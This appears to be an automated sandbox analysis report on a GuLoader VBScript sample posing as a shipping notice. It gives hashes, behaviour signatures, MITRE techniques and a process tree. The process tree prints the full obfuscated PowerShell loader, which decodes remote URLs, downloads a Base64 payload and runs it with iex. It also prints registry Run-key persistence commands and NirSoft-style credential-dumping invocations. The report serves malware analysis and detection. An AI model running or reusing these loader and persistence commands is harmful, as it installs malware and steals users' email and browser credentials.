guloader | 976a086aa590de0e16eed6e34ff81e2761312b6b7d01d39eba429db30e0b15d3

Analysis

max time kernel
148s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
25/06/2024, 12:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
awb_shipping_post_24062024224782020031808174CN1824062400000(991KB).vbs
Size 187KB
Sample240625-phra4ayhrh
SHA256 b30bb2c67741afe2a5173337bd2acab5785c408cce2fbb84dc07a3c904f3f3c6
MD5 71e6ad71e4958df129a87422066d1be1
SHA1 75e5f0176d44782d874e74411d72ec5dbe86660c
SHA512 c6217bdc6b15046be438f7367c28b4a1dded02181a0e0579ceba297b0e4cdf4b7256b0ed1e8cada6cb3555bd344d739b166b269b68a05f2e6c391d997b1d7832
SSDEEP 3072:fmN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZV:f08GxbKja3+DCbKCvBB/WnHXC/sLJFJ4
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader collection downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/3840-65-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/2504-64-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 3 IoCs

resource	yara_rule
behavioral2/memory/2504-64-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/3840-65-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/2400-71-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	4708	WScript.exe
15	4308	powershell.exe
53	4744	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Faarehovedernes = "%Soberlike% -w 1 $Paraplasis=(Get-ItemProperty -Path 'HKCU:\\Presentationes\\').Fyrvrkeres;%Soberlike% ($Paraplasis)"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Rollingerne = "%Montuvio% -w 1 $Lkapsler=(Get-ItemProperty -Path 'HKCU:\\overdeferential\\').retoucheres;%Montuvio% ($Lkapsler)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 4 IoCs

pid	Process
2104	wab.exe
2104	wab.exe
1332	wab.exe
1332	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
3100	powershell.exe
2104	wab.exe
4472	powershell.exe
1332	wab.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 3100 set thread context of 2104	3100	powershell.exe	101
PID 2104 set thread context of 2504	2104	wab.exe	107
PID 2104 set thread context of 3840	2104	wab.exe	109
PID 2104 set thread context of 2400	2104	wab.exe	110
PID 4472 set thread context of 1332	4472	powershell.exe	117

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings	wab.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
4320	reg.exe
3912	reg.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
4308	powershell.exe
4308	powershell.exe
3100	powershell.exe
3100	powershell.exe
3100	powershell.exe
3100	powershell.exe
2504	wab.exe
2504	wab.exe
2400	wab.exe
2400	wab.exe
2504	wab.exe
2504	wab.exe
4744	powershell.exe
4744	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
1332	wab.exe
1332	wab.exe
1332	wab.exe
1332	wab.exe
1332	wab.exe
1332	wab.exe
1332	wab.exe
1332	wab.exe
1332	wab.exe
1332	wab.exe
1332	wab.exe
1332	wab.exe
1332	wab.exe
1332	wab.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
3100	powershell.exe
2104	wab.exe
2104	wab.exe
2104	wab.exe
2104	wab.exe
4472	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4308	powershell.exe
Token: SeDebugPrivilege	3100	powershell.exe
Token: SeDebugPrivilege	2400	wab.exe
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeDebugPrivilege	4472	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2104	wab.exe

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 4708 wrote to memory of 4308	4708	WScript.exe	89
PID 4708 wrote to memory of 4308	4708	WScript.exe	89
PID 4308 wrote to memory of 3832	4308	powershell.exe	91
PID 4308 wrote to memory of 3832	4308	powershell.exe	91
PID 4308 wrote to memory of 3100	4308	powershell.exe	97
PID 4308 wrote to memory of 3100	4308	powershell.exe	97
PID 4308 wrote to memory of 3100	4308	powershell.exe	97
PID 3100 wrote to memory of 1932	3100	powershell.exe	100
PID 3100 wrote to memory of 1932	3100	powershell.exe	100
PID 3100 wrote to memory of 1932	3100	powershell.exe	100
PID 3100 wrote to memory of 2104	3100	powershell.exe	101
PID 3100 wrote to memory of 2104	3100	powershell.exe	101
PID 3100 wrote to memory of 2104	3100	powershell.exe	101
PID 3100 wrote to memory of 2104	3100	powershell.exe	101
PID 3100 wrote to memory of 2104	3100	powershell.exe	101
PID 2104 wrote to memory of 2196	2104	wab.exe	103
PID 2104 wrote to memory of 2196	2104	wab.exe	103
PID 2104 wrote to memory of 2196	2104	wab.exe	103
PID 2196 wrote to memory of 4320	2196	cmd.exe	105
PID 2196 wrote to memory of 4320	2196	cmd.exe	105
PID 2196 wrote to memory of 4320	2196	cmd.exe	105
PID 2104 wrote to memory of 2504	2104	wab.exe	107
PID 2104 wrote to memory of 2504	2104	wab.exe	107
PID 2104 wrote to memory of 2504	2104	wab.exe	107
PID 2104 wrote to memory of 2504	2104	wab.exe	107
PID 2104 wrote to memory of 5024	2104	wab.exe	108
PID 2104 wrote to memory of 5024	2104	wab.exe	108
PID 2104 wrote to memory of 5024	2104	wab.exe	108
PID 2104 wrote to memory of 3840	2104	wab.exe	109
PID 2104 wrote to memory of 3840	2104	wab.exe	109
PID 2104 wrote to memory of 3840	2104	wab.exe	109
PID 2104 wrote to memory of 3840	2104	wab.exe	109
PID 2104 wrote to memory of 2400	2104	wab.exe	110
PID 2104 wrote to memory of 2400	2104	wab.exe	110
PID 2104 wrote to memory of 2400	2104	wab.exe	110
PID 2104 wrote to memory of 2400	2104	wab.exe	110
PID 2104 wrote to memory of 2000	2104	wab.exe	111
PID 2104 wrote to memory of 2000	2104	wab.exe	111
PID 2104 wrote to memory of 2000	2104	wab.exe	111
PID 2000 wrote to memory of 4744	2000	WScript.exe	112
PID 2000 wrote to memory of 4744	2000	WScript.exe	112
PID 2000 wrote to memory of 4744	2000	WScript.exe	112
PID 4744 wrote to memory of 1092	4744	powershell.exe	114
PID 4744 wrote to memory of 1092	4744	powershell.exe	114
PID 4744 wrote to memory of 1092	4744	powershell.exe	114
PID 4744 wrote to memory of 4472	4744	powershell.exe	115
PID 4744 wrote to memory of 4472	4744	powershell.exe	115
PID 4744 wrote to memory of 4472	4744	powershell.exe	115
PID 4472 wrote to memory of 528	4472	powershell.exe	116
PID 4472 wrote to memory of 528	4472	powershell.exe	116
PID 4472 wrote to memory of 528	4472	powershell.exe	116
PID 4472 wrote to memory of 1332	4472	powershell.exe	117
PID 4472 wrote to memory of 1332	4472	powershell.exe	117
PID 4472 wrote to memory of 1332	4472	powershell.exe	117
PID 4472 wrote to memory of 1332	4472	powershell.exe	117
PID 4472 wrote to memory of 1332	4472	powershell.exe	117
PID 1332 wrote to memory of 4520	1332	wab.exe	118
PID 1332 wrote to memory of 4520	1332	wab.exe	118
PID 1332 wrote to memory of 4520	1332	wab.exe	118
PID 4520 wrote to memory of 3912	4520	cmd.exe	120
PID 4520 wrote to memory of 3912	4520	cmd.exe	120
PID 4520 wrote to memory of 3912	4520	cmd.exe	120

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\awb_shipping_post_24062024224782020031808174CN1824062400000(991KB).vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Abstractionist Nondeclarative Logikanalysatorer105 Dogmatikkers Skovdistrikts Storhedstidernes Unroyalized Sapid Downpour Bnkebidere Afhvledes Tsumebite Hydrohematite Achilleine Adverseness Vivas Udtalt75 Epharmony Ggebger Familieplanlgningens210 Grimrianer81 Domstolene Sidenumres Kommaterede Abstractionist Nondeclarative Logikanalysatorer105 Dogmatikkers Skovdistrikts Storhedstidernes Unroyalized Sapid Downpour Bnkebidere Afhvledes Tsumebite Hydrohematite Achilleine Adverseness Vivas Udtalt75 Epharmony Ggebger Familieplanlgningens210 Grimrianer81 Domstolene Sidenumres Kommaterede';$Formueoverfrsler = 1;Function Tonalt($Stersfart){$Kines=$Stersfart.Length-$Formueoverfrsler;$fljlskjolers='SUBSTRIN';$fljlskjolers+='G';For( $Fejlvurderingens=1;$Fejlvurderingens -lt $Kines;$Fejlvurderingens+=2){$Abstractionist+=$Stersfart.$fljlskjolers.Invoke( $Fejlvurderingens, $Formueoverfrsler);}$Abstractionist;}function Outleaped($Mntvaskerierne){ . ($Donna122) ($Mntvaskerierne);}$Damnonii=Tonalt ' M o.zLi.l l a,/,5P. 0. (.WSiHn d.o,w s, N T S1 0S.,0 ; WWFiSn 6G4P; x 6F4 ; TrGv : 1.2 1 .B0 ) G e,c k oT/G2M0 1H0.0P1N0 1E CF i,r eAf.oTx / 1 2 1P.S0F ';$Lovede=Tonalt 'IUGsBe rt-.A,g,e nTt, ';$Skovdistrikts=Tonalt 'GhAt t pYs,: /r/Berv,o lDuNxVc,o.nUt a b.iHl.iBd,aSdDeJ.UcHo m .pbKrN/.R,UIS,/ BUl.oAt,l,gSg.eTrB.Sm i,x >EhStnt p :,/f/B1U9 4H.a5A9 . 3 1..T1M3 7O/ BDl oLtOlSg gAe rJ. m iLx ';$mossbacks=Tonalt 'P> ';$Donna122=Tonalt 'bi e xS ';$Steek='Sapid';$Tastaturteksts = Tonalt 'we cCh o .%AaHpUpCd.a.tVa % \RRByOtAm,ePnU. Fia e & & BeBc hAo MtA ';Outleaped (Tonalt 'W$,gOlloRb aMl.:,I dSepnOt iAf.i kKaSt,i o n,sNp aUpUi rDe r n.e = ( c.m d /BcS $LTBaUsSt a tbu r,t.e,kSs.tAsA). ');Outleaped (Tonalt ' $Cg l,o b,aIlE:UD oOg m,aStKiHk kEeGr,s =E$,SVk o vfd iIs tSr i kEt.sS.Vs pElUi.tW(,$mmPoHsKssb a.c kUs )J ');Outleaped (Tonalt ' [ NFeAtS.ASSeDr.v iBcBeJP oCi,nTt M.aTn aSgTe.rU].:U: S e cvu rHi t yTPIrSoLt.oPc oFlA =, m[dN,ePt,.ASJe.cTuSrSi.t.yyP rKo t,o c oSl,TMy,pSeM].:.:uTGlBs 1O2 ');$Skovdistrikts=$Dogmatikkers[0];$raptorial= (Tonalt 'H$mgAl,oAb.a l : O pStShCa l m.o lFoFg i,cB=DNEeUwF-AO b jMegcLt S.yRsLtCe,m...NAeFt .RWPeBbICClTi.eSn.t');$raptorial+=$Identifikationspapirerne[1];Outleaped ($raptorial);Outleaped (Tonalt 'E$SO pNtHhPa.lfm o.lBo g iWcR. HTeTaMdAeDrUsX[A$SLmoMv eed eV] =S$KDKa.m,nIo nUi iH ');$Stableness=Tonalt ' $ OipCtOh aJl m o l o,gFi cI. DFoEwkn l o a dGF iRl e.(O$ SDkPoSvSd.i s,tAr iAkPtBsM, $DDRoFmDs,t o lMe,n e )O ';$Domstolene=$Identifikationspapirerne[0];Outleaped (Tonalt ' $,gUl oSbAa ls:IL,aMnCcSa s.tUeFrBiLa n =b( T.eHs,t,-MP aDt,h s$ D o mEsSt,o l e,n e ) ');while (!$Lancasterian) {Outleaped (Tonalt 'M$.g l o,b a.lM: mRiLsFdGeBn t,i t iAo n,= $St,rEu.e. ') ;Outleaped $Stableness;Outleaped (Tonalt '.S tfaBr tU-.S l eKe pE ,4m ');Outleaped (Tonalt 'S$ gClPo,b aRlS:MLLa nOcHa sPt.eHr,i aLn =,(NT e s tS-LPAa t h. $.D oEm,sct o l e n eA), ') ;Outleaped (Tonalt ' $.g,lRoMbPaOl : LGoDg iHkRa n a,lMyKsQa tPoHrOe rG1 0A5R=s$ g l,o,b a l,:PNSoSnHd e cGl aSrPaNt i v.e,+V+ %.$FD.o g m a t,iPk,k.eFr s . cHoSu nSt ') ;$Skovdistrikts=$Dogmatikkers[$Logikanalysatorer105];}$Massacrous=384112;$Overdistantly=26637;Outleaped (Tonalt 'D$KgPl otb aTl :PD oSwDn.p o,u,r, ,= EG,e t,- C,oHn tSe n tU .$ D.o,m s tRoPl.eRn,ea ');Outleaped (Tonalt ' $LgVl.oAbSaCl :.P lra,t.f,oEr mEeRdT C=. [.SDySs,tAeImG. CBonnRv eCrStP] :N:AF.r oCmABCa.sce 6A4SSTt r iCnAgH( $BD oAw n p oFuGr.), ');Outleaped (Tonalt 'O$Ug lAoFbSaAl,:PTRs.u m eRbCi t eF =V S[ SKyFsMt eDm,. T e.xCt,. ELnTc,o.d i,nFgU]O: :.A.S,CHI I .MG eHtVSTtcr iMnEg (R$FP.l a tsf o rSm e,d ) ');Outleaped (Tonalt 'F$Dg l oKb atlC: T u.b eYr,kVuPl.oCs e,s,t.aFtMi o.n e.n,=.$,T.s uUmle b.iEtEeP.IsVuObhs t rOiTnRgS(T$ MSaDsBs,aBcLrAo.u,s , $,O vge rAdSiAsRt aun tOlNy,)T ');Outleaped $Tuberkulosestationen;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4308
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Rytmen.Fae && echo t"
    3⤵
    PID:3832
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Abstractionist Nondeclarative Logikanalysatorer105 Dogmatikkers Skovdistrikts Storhedstidernes Unroyalized Sapid Downpour Bnkebidere Afhvledes Tsumebite Hydrohematite Achilleine Adverseness Vivas Udtalt75 Epharmony Ggebger Familieplanlgningens210 Grimrianer81 Domstolene Sidenumres Kommaterede Abstractionist Nondeclarative Logikanalysatorer105 Dogmatikkers Skovdistrikts Storhedstidernes Unroyalized Sapid Downpour Bnkebidere Afhvledes Tsumebite Hydrohematite Achilleine Adverseness Vivas Udtalt75 Epharmony Ggebger Familieplanlgningens210 Grimrianer81 Domstolene Sidenumres Kommaterede';$Formueoverfrsler = 1;Function Tonalt($Stersfart){$Kines=$Stersfart.Length-$Formueoverfrsler;$fljlskjolers='SUBSTRIN';$fljlskjolers+='G';For( $Fejlvurderingens=1;$Fejlvurderingens -lt $Kines;$Fejlvurderingens+=2){$Abstractionist+=$Stersfart.$fljlskjolers.Invoke( $Fejlvurderingens, $Formueoverfrsler);}$Abstractionist;}function Outleaped($Mntvaskerierne){ . ($Donna122) ($Mntvaskerierne);}$Damnonii=Tonalt ' M o.zLi.l l a,/,5P. 0. (.WSiHn d.o,w s, N T S1 0S.,0 ; WWFiSn 6G4P; x 6F4 ; TrGv : 1.2 1 .B0 ) G e,c k oT/G2M0 1H0.0P1N0 1E CF i,r eAf.oTx / 1 2 1P.S0F ';$Lovede=Tonalt 'IUGsBe rt-.A,g,e nTt, ';$Skovdistrikts=Tonalt 'GhAt t pYs,: /r/Berv,o lDuNxVc,o.nUt a b.iHl.iBd,aSdDeJ.UcHo m .pbKrN/.R,UIS,/ BUl.oAt,l,gSg.eTrB.Sm i,x >EhStnt p :,/f/B1U9 4H.a5A9 . 3 1..T1M3 7O/ BDl oLtOlSg gAe rJ. m iLx ';$mossbacks=Tonalt 'P> ';$Donna122=Tonalt 'bi e xS ';$Steek='Sapid';$Tastaturteksts = Tonalt 'we cCh o .%AaHpUpCd.a.tVa % \RRByOtAm,ePnU. Fia e & & BeBc hAo MtA ';Outleaped (Tonalt 'W$,gOlloRb aMl.:,I dSepnOt iAf.i kKaSt,i o n,sNp aUpUi rDe r n.e = ( c.m d /BcS $LTBaUsSt a tbu r,t.e,kSs.tAsA). ');Outleaped (Tonalt ' $Cg l,o b,aIlE:UD oOg m,aStKiHk kEeGr,s =E$,SVk o vfd iIs tSr i kEt.sS.Vs pElUi.tW(,$mmPoHsKssb a.c kUs )J ');Outleaped (Tonalt ' [ NFeAtS.ASSeDr.v iBcBeJP oCi,nTt M.aTn aSgTe.rU].:U: S e cvu rHi t yTPIrSoLt.oPc oFlA =, m[dN,ePt,.ASJe.cTuSrSi.t.yyP rKo t,o c oSl,TMy,pSeM].:.:uTGlBs 1O2 ');$Skovdistrikts=$Dogmatikkers[0];$raptorial= (Tonalt 'H$mgAl,oAb.a l : O pStShCa l m.o lFoFg i,cB=DNEeUwF-AO b jMegcLt S.yRsLtCe,m...NAeFt .RWPeBbICClTi.eSn.t');$raptorial+=$Identifikationspapirerne[1];Outleaped ($raptorial);Outleaped (Tonalt 'E$SO pNtHhPa.lfm o.lBo g iWcR. HTeTaMdAeDrUsX[A$SLmoMv eed eV] =S$KDKa.m,nIo nUi iH ');$Stableness=Tonalt ' $ OipCtOh aJl m o l o,gFi cI. DFoEwkn l o a dGF iRl e.(O$ SDkPoSvSd.i s,tAr iAkPtBsM, $DDRoFmDs,t o lMe,n e )O ';$Domstolene=$Identifikationspapirerne[0];Outleaped (Tonalt ' $,gUl oSbAa ls:IL,aMnCcSa s.tUeFrBiLa n =b( T.eHs,t,-MP aDt,h s$ D o mEsSt,o l e,n e ) ');while (!$Lancasterian) {Outleaped (Tonalt 'M$.g l o,b a.lM: mRiLsFdGeBn t,i t iAo n,= $St,rEu.e. ') ;Outleaped $Stableness;Outleaped (Tonalt '.S tfaBr tU-.S l eKe pE ,4m ');Outleaped (Tonalt 'S$ gClPo,b aRlS:MLLa nOcHa sPt.eHr,i aLn =,(NT e s tS-LPAa t h. $.D oEm,sct o l e n eA), ') ;Outleaped (Tonalt ' $.g,lRoMbPaOl : LGoDg iHkRa n a,lMyKsQa tPoHrOe rG1 0A5R=s$ g l,o,b a l,:PNSoSnHd e cGl aSrPaNt i v.e,+V+ %.$FD.o g m a t,iPk,k.eFr s . cHoSu nSt ') ;$Skovdistrikts=$Dogmatikkers[$Logikanalysatorer105];}$Massacrous=384112;$Overdistantly=26637;Outleaped (Tonalt 'D$KgPl otb aTl :PD oSwDn.p o,u,r, ,= EG,e t,- C,oHn tSe n tU .$ D.o,m s tRoPl.eRn,ea ');Outleaped (Tonalt ' $LgVl.oAbSaCl :.P lra,t.f,oEr mEeRdT C=. [.SDySs,tAeImG. CBonnRv eCrStP] :N:AF.r oCmABCa.sce 6A4SSTt r iCnAgH( $BD oAw n p oFuGr.), ');Outleaped (Tonalt 'O$Ug lAoFbSaAl,:PTRs.u m eRbCi t eF =V S[ SKyFsMt eDm,. T e.xCt,. ELnTc,o.d i,nFgU]O: :.A.S,CHI I .MG eHtVSTtcr iMnEg (R$FP.l a tsf o rSm e,d ) ');Outleaped (Tonalt 'F$Dg l oKb atlC: T u.b eYr,kVuPl.oCs e,s,t.aFtMi o.n e.n,=.$,T.s uUmle b.iEtEeP.IsVuObhs t rOiTnRgS(T$ MSaDsBs,aBcLrAo.u,s , $,O vge rAdSiAsRt aun tOlNy,)T ');Outleaped $Tuberkulosestationen;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3100
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Rytmen.Fae && echo t"
      4⤵
      PID:1932
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Modifies registry class
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2104
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Faarehovedernes" /t REG_EXPAND_SZ /d "%Soberlike% -w 1 $Paraplasis=(Get-ItemProperty -Path 'HKCU:\Presentationes\').Fyrvrkeres;%Soberlike% ($Paraplasis)"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2196
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Faarehovedernes" /t REG_EXPAND_SZ /d "%Soberlike% -w 1 $Paraplasis=(Get-ItemProperty -Path 'HKCU:\Presentationes\').Fyrvrkeres;%Soberlike% ($Paraplasis)"
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:4320
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\pcuntjdknjogrlbfqkxxiccwy"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2504
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\aezgucolbsgtbrxjhvkzlopfybrde"
        5⤵
        
        PID:5024
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\aezgucolbsgtbrxjhvkzlopfybrde"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:3840
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\cyequuzfpayydxmnqgwawtjwhibefxxk"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2400
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Poodle.vbs"
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:2000
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Commixed Stines Androcratic Bertolonia Bestemmelsesstedets Compunct Tydelighed Afdelingsingenirs183 Dorte103 Antiksamlingen Undivisiveness255 Lienectomies Unpreying Pantets Photometrically Pyorrheas luske bortskaffelserne Trassenters Localizations Brumstone Citronsommerfuglens Dikamalli Amebocyte Commixed Stines Androcratic Bertolonia Bestemmelsesstedets Compunct Tydelighed Afdelingsingenirs183 Dorte103 Antiksamlingen Undivisiveness255 Lienectomies Unpreying Pantets Photometrically Pyorrheas luske bortskaffelserne Trassenters Localizations Brumstone Citronsommerfuglens Dikamalli Amebocyte';$Stileemnets = 1;Function Alert($Catoptrical){$Dispropriate=$Catoptrical.Length-$Stileemnets;$Cohesions='SUBSTRIN';$Cohesions+='G';For( $Kaliumklorider=1;$Kaliumklorider -lt $Dispropriate;$Kaliumklorider+=2){$Commixed+=$Catoptrical.$Cohesions.Invoke( $Kaliumklorider, $Stileemnets);}$Commixed;}function Xylografien($Disharmoner){ . ($Dragemanden) ($Disharmoner);}$Cigale=Alert 'PMSomzUiRlBlOaA/B5.. 0S b(TW iSnAdVoUwCsG .NrT 1 0D.S0 ;P .WsiOnX6U4N;, .x 6L4C; r,vF:.1 2T1 . 0B)O BG,ePc k o,/ 2U0 1T0u0S1A0N1. SF.i.rme f,o xD/ 1M2F1 .,0 ';$belieffulness=Alert ' U sHeFr.-TAtg eTnGtP ';$Bestemmelsesstedets=Alert ' hKt.t pHs : / / e.v,oMl.uBxGcFoTnWt.aEbSi.l iFd aEd e .,cKo ml. b rO/.x l oKaAd /FRPuHm nSe r . xot pT ';$Voldtog=Alert 'K>N ';$Dragemanden=Alert ' iGecx, ';$Sydvestenvinds='Afdelingsingenirs183';$Anglisterne = Alert ' eAcAh o %QaVpSpEdKa tGaP%o\BbCeElSe m nPo.iSdBeMaI.OF o,s, ,& & PeDc hPod t ';Xylografien (Alert 'D$ gKl oTbBa lS: FTo r r.eBtAn i,nUg sIocmIr,aUaFdBefr =B( c.mDd. / cB ,$AA nCg l,itsKt e,r nDe ) ');Xylografien (Alert '.$bg.lCo,b aKlQ:HBJe,rBtHo.lKo nDi.a =G$ B e s t,e mKm eKlSs eCsHsSt eOd,e tBs,. sUpSlNi tP(R$,V o.l d tEo gU)R ');Xylografien (Alert ' [ NOe tZ.LS eIr.vBiAc.eSP oCi,n tcMoa.n.aagIeer ]P:D:,S ePc u.rSiot.y PfrPo tFo c,o lB C=, B[HN e t..ESBe cSuSrFiStkyBPjr,o,t.o,cRo lUT y.p,eA] : :DT.lFsM1 2. ');$Bestemmelsesstedets=$Bertolonia[0];$Ghoulishness= (Alert 'S$LgPlUoRb.a.l.:AS.kMo v hSyPt t eSn 9.8.= NUe.wR- O.bAjTeBc t, S y sBt,ePm . NAeTt . WLe b C l.i eKnPt');$Ghoulishness+=$Forretningsomraader[1];Xylografien ($Ghoulishness);Xylografien (Alert '.$ STk o v.hBy t.tKe nS9.8U..HFeHa d ePrBsG[G$DbCe,l.iSe fMf,uLl nHeAsHs.].= $ Cpi g a.lSeS ');$Jacuaru=Alert 'S$ S,kBo vTh,yFt.t eUn,9 8F.UD,o.wfnNl.o,afdTF.iRl,e (C$RBTeAsVtLe m,mTeDl s e sosst eKdBe.tBs ,D$KC iTtTrmoUnNsAo m,m e,r fGuSgElMe n sI). ';$Citronsommerfuglens=$Forretningsomraader[0];Xylografien (Alert ' $SgUl,o b a.l : L,aTv.eInGdUe lSeTn =B(MT e sAtO-IPVa.tIhB B$FCBiPtSr oHngsBoSmIm.ePrPfLuFg.l.ePn sG) ');while (!$Lavendelen) {Xylografien (Alert ' $tg l,oCb,aOl :,DSuPbbl,eJe.r n eR= $NtDrSureF ') ;Xylografien $Jacuaru;Xylografien (Alert ' S tPaMrKtN- SBl e e ps ,4. ');Xylografien (Alert 'C$Dg.l oEb a lH: LPaDv eTn dieGl eOnd=P(.TOe sDtP- P.aStph B$FCFi t rDo.nUs,okmCm ePrPfYugg lAe,n sS)U ') ;Xylografien (Alert 'I$Gg.lboNbMa l :aAHn,dHr.oEcKrHa tOi.cO=A$Sg l oSb a lJ:kSCt,iAn ePsD+ +s%U$ BVeUrHtAo,l oDn,i a ..c oHu n tS ') ;$Bestemmelsesstedets=$Bertolonia[$Androcratic];}$Nonapprehensibility=372684;$Phytin=25966;Xylografien (Alert 'F$ gPl oSb a l :kD onr.t.eM1 0 3 R= FGBe tD-,C.oPnItJeLnFt. S$ C i tFr o nDsKoUm mFe r f.uBgul,eKn s ');Xylografien (Alert 'U$ gAl.oPb.aHl :HEGmFaKnscSi,pBaQtBe B=l [DSDyPsStDeSmH. CsoOnTvLeFr t,]N:B:.FSr,o,m,B a s.e,6u4RS.tNrsi,nagA(W$ DRo r t e 1H0 3S), ');Xylografien (Alert 'I$Bg lSoIbNaBl : L,iTeLnPeCcCtmoSmSiPeRsK =. .[SS yVs t,eIm..VTYe x tS. E,n c,o dIi n g ],:.: A,SOCNIPIM.BGAe,t SItHr i n g (,$UE mBa n cPiRp.aBtDeS)A ');Xylografien (Alert ' $ gPl.ombTaVl.:.SPk rov e b.e lSg nSiMn g e nF= $ L i.e,nae cEtPoSmPi eksA.GsCu b,s tCr i.nOgK(T$bNBoBnDaHpPp rPe hSe.n.sdiAb,i lMi tAy.,,$ PHh yVtBiLn )E ');Xylografien $Skrvebelgningen;"
        6⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
